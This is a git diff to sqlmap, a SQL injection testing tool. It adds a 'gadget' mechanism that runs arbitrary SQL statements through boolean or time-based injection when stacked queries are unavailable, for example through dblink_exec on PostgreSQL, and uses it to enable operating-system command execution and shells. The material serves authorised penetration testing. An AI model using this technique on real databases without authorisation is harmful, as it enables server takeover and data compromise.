diff --git a/data/xml/queries.xml b/data/xml/queries.xml
index 1cedc3de8..c5809d060 100644
--- a/data/xml/queries.xml
+++ b/data/xml/queries.xml
@@ -137,6 +137,10 @@
+
+
+
+
diff --git a/lib/core/option.py b/lib/core/option.py
index a850ac53f..5cf18f717 100644
--- a/lib/core/option.py
+++ b/lib/core/option.py
@@ -2255,6 +2255,7 @@ def _setKnowledgeBaseAttributes(flushAll=True):
kb.forkNote = None
kb.futileUnion = None
kb.fuzzUnionTest = None
+ kb.gadget = None
kb.heavilyDynamic = False
kb.headersFile = None
kb.headersFp = {}
diff --git a/lib/core/settings.py b/lib/core/settings.py
index e480fb962..e32ce3f8c 100644
--- a/lib/core/settings.py
+++ b/lib/core/settings.py
@@ -20,7 +20,7 @@ from lib.core.enums import OS
from thirdparty import six
# sqlmap version (...)
-VERSION = "1.10.8.47"
+VERSION = "1.10.8.48"
TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)
diff --git a/lib/request/inject.py b/lib/request/inject.py
index 0c46ba173..ef2f7ccb5 100644
--- a/lib/request/inject.py
+++ b/lib/request/inject.py
@@ -48,6 +48,9 @@ from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.data import queries
+from lib.core.convert import encodeHex
+from lib.core.convert import getBytes
+from lib.core.convert import getUnicode
from lib.core.decorators import lockedmethod
from lib.core.decorators import stackedmethod
from lib.core.dicts import FROM_DUMMY_TABLE
@@ -834,6 +837,36 @@ def getValue(expression, blind=True, union=True, error=True, time=True, fromUser
return extractExpectedValue(value, expected)
+def getGadget():
+ """
+ Returns a 'gadget' (a side-effecting scalar expression usable through a
+ regular - e.g. boolean/time-based - injection) that can run an arbitrary
+ statement when stacked queries are not available (e.g. dblink_exec() on
+ PostgreSQL). Detection is done once and cached inside 'kb.gadget'.
+ """
+
+ if kb.gadget is None:
+ kb.gadget = False
+
+ dbms = Backend.getIdentifiedDbms()
+
+ if dbms is not None and "gadgets" in queries[dbms]:
+ for name, gadget in queries[dbms].gadgets.__dict__.items():
+ try:
+ available = checkBooleanExpression(gadget.check)
+ except Exception:
+ available = False
+
+ if available:
+ infoMsg = "using '%s' gadget to run statement(s) as " % name
+ infoMsg += "stacked queries are not available"
+ logger.info(infoMsg)
+
+ kb.gadget = gadget
+ break
+
+ return kb.gadget or None
+
def goStacked(expression, silent=False):
if PAYLOAD.TECHNIQUE.STACKED in kb.injection.data:
setTechnique(PAYLOAD.TECHNIQUE.STACKED)
@@ -849,6 +882,18 @@ def goStacked(expression, silent=False):
if conf.direct:
return direct(expression)
+ if PAYLOAD.TECHNIQUE.STACKED not in kb.injection.data:
+ gadget = getGadget()
+
+ if gadget:
+ warnMsg = "statement execution through a gadget is best-effort "
+ warnMsg += "and its result (if any) can not be retrieved"
+ singleTimeWarnMessage(warnMsg)
+
+ payload = getUnicode(gadget.command) % getUnicode(encodeHex(getBytes(expression), binary=False))
+ checkBooleanExpression("(%s) IS NOT NULL" % payload)
+ return
+
query = agent.prefixQuery(";%s" % expression)
query = agent.suffixQuery(query)
payload = agent.payload(newValue=query)
diff --git a/plugins/dbms/postgresql/takeover.py b/plugins/dbms/postgresql/takeover.py
index 709f6ff2e..d7a1ff1a7 100644
--- a/plugins/dbms/postgresql/takeover.py
+++ b/plugins/dbms/postgresql/takeover.py
@@ -102,7 +102,7 @@ class Takeover(GenericTakeover):
def copyExecCmd(self, cmd):
output = None
- if isStackingAvailable() or conf.direct:
+ if isStackingAvailable() or conf.direct or inject.getGadget():
# Reference: https://medium.com/greenwolf-security/authenticated-arbitrary-command-execution-on-postgresql-9-3-latest-cd18945914d5
self._forgedCmd = "DROP TABLE IF EXISTS %s;" % self.cmdTblName
self._forgedCmd += "CREATE TABLE %s(%s text);" % (self.cmdTblName, self.tblField)
diff --git a/plugins/generic/custom.py b/plugins/generic/custom.py
index de4ef5375..cdab69237 100644
--- a/plugins/generic/custom.py
+++ b/plugins/generic/custom.py
@@ -71,7 +71,7 @@ class Custom(object):
output[i] = joinValue(output[i])
return output
- elif not isStackingAvailable() and not conf.direct:
+ elif not isStackingAvailable() and not conf.direct and not inject.getGadget():
warnMsg = "execution of non-query SQL statements is only "
warnMsg += "available when stacked queries are supported"
logger.warning(warnMsg)
diff --git a/plugins/generic/takeover.py b/plugins/generic/takeover.py
index 8bf7d1853..3af9188fe 100644
--- a/plugins/generic/takeover.py
+++ b/plugins/generic/takeover.py
@@ -27,6 +27,7 @@ from lib.core.exception import SqlmapNotVulnerableException
from lib.core.exception import SqlmapSystemException
from lib.core.exception import SqlmapUndefinedMethod
from lib.core.exception import SqlmapUnsupportedDBMSException
+from lib.request import inject
from lib.takeover.abstraction import Abstraction
from lib.takeover.icmpsh import ICMPsh
from lib.takeover.metasploit import Metasploit
@@ -46,6 +47,8 @@ class Takeover(Abstraction, Metasploit, ICMPsh, Registry):
def osCmd(self):
if isStackingAvailable() or conf.direct:
web = False
+ elif Backend.isDbms(DBMS.PGSQL) and inject.getGadget():
+ web = False
elif not isStackingAvailable() and Backend.isDbms(DBMS.MYSQL):
infoMsg = "going to use a web backdoor for command execution"
logger.info(infoMsg)
@@ -68,6 +71,8 @@ class Takeover(Abstraction, Metasploit, ICMPsh, Registry):
def osShell(self):
if isStackingAvailable() or conf.direct:
web = False
+ elif Backend.isDbms(DBMS.PGSQL) and inject.getGadget():
+ web = False
elif not isStackingAvailable() and Backend.isDbms(DBMS.MYSQL):
infoMsg = "going to use a web backdoor for command prompt"
logger.info(infoMsg)